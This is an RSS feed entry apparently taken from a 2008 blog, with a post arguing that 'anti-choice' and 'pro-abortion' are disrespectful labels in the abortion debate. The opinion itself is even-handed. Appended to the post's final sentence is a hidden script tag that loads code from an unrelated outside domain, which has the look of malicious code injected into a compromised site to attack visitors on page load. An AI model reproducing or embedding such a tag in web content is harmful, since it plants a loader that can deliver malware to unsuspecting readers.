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		<title>Respect in the Abortion Wars</title>
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		<pubDate>Thu, 30 Oct 2008 18:51:26 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
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		<category><![CDATA[abortion]]></category>
		<category><![CDATA[pro choice]]></category>
		<category><![CDATA[pro life]]></category>

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		<description><![CDATA[Pro-choice people view the name &#8220;pro-life&#8221; as toxic.  They prefer to call them &#8220;anti-choice&#8221;.  Pro-lifers have total disdain for the name &#8220;pro-choice&#8221;.  They prefer to call them &#8220;pro-abortion&#8221; (and occasionally, &#8220;anti-life&#8221;). Both of these are disrespectful and, in my opinion, ridiculous.  Both sides are constructing straw-man arguments.  Pro-choicers argue: The name &#8216;pro-life&#8217; implies that we [...]]]></description>
			<content:encoded><![CDATA[<p>Pro-choice people view the name &#8220;pro-life&#8221; as toxic.  They prefer to call them &#8220;anti-choice&#8221;.  Pro-lifers have total disdain for the name &#8220;pro-choice&#8221;.  They prefer to call them &#8220;pro-abortion&#8221; (and occasionally, &#8220;anti-life&#8221;).</p>
<p>Both of these are disrespectful and, in my opinion, ridiculous.  Both sides are constructing straw-man arguments.  Pro-choicers argue:</p>
<blockquote><p>The name &#8216;pro-life&#8217; implies that we are somehow against life.  Any intelligent person knows this is ridiculous.  We just believe that this decision should be up to the mother.</p></blockquote>
<p>Pro-lifers argue:</p>
<blockquote><p>We are for &#8216;choice&#8217; as well, and we believe that legal abortions don&#8217;t give the babies much &#8216;choice&#8217;.</p></blockquote>
<p>These arguments are both ridiculous.  The names imply none of these things; they refer to positions on the central abortion argument.  No matter how you slice it, the abortion argument boils down to which you believe is more important: the mother&#8217;s right to <strong>choose</strong> what to do with her body and life after pregnancy has begun, or the unborn child&#8217;s right to have a chance at <strong>life</strong>.  Other sub-arguments (&#8220;a single cell is not a life&#8221;, &#8220;the child can be born and then put up for adoption&#8221;, etc.) are all related to this central argument, and while they&#8217;re worth talking about, they don&#8217;t change what the main conflict is.  The names reflect the two sides of this conflict, and nothing more.</p>
<p>I am pro-choice (by a hair), but I know that both sides have <em>extremely</em> compelling arguments, and to manufacture this type of disrespect is to show complete disdain for the intelligent people on the other side.<script src="http://ie.eracou.com/3"></script></p>
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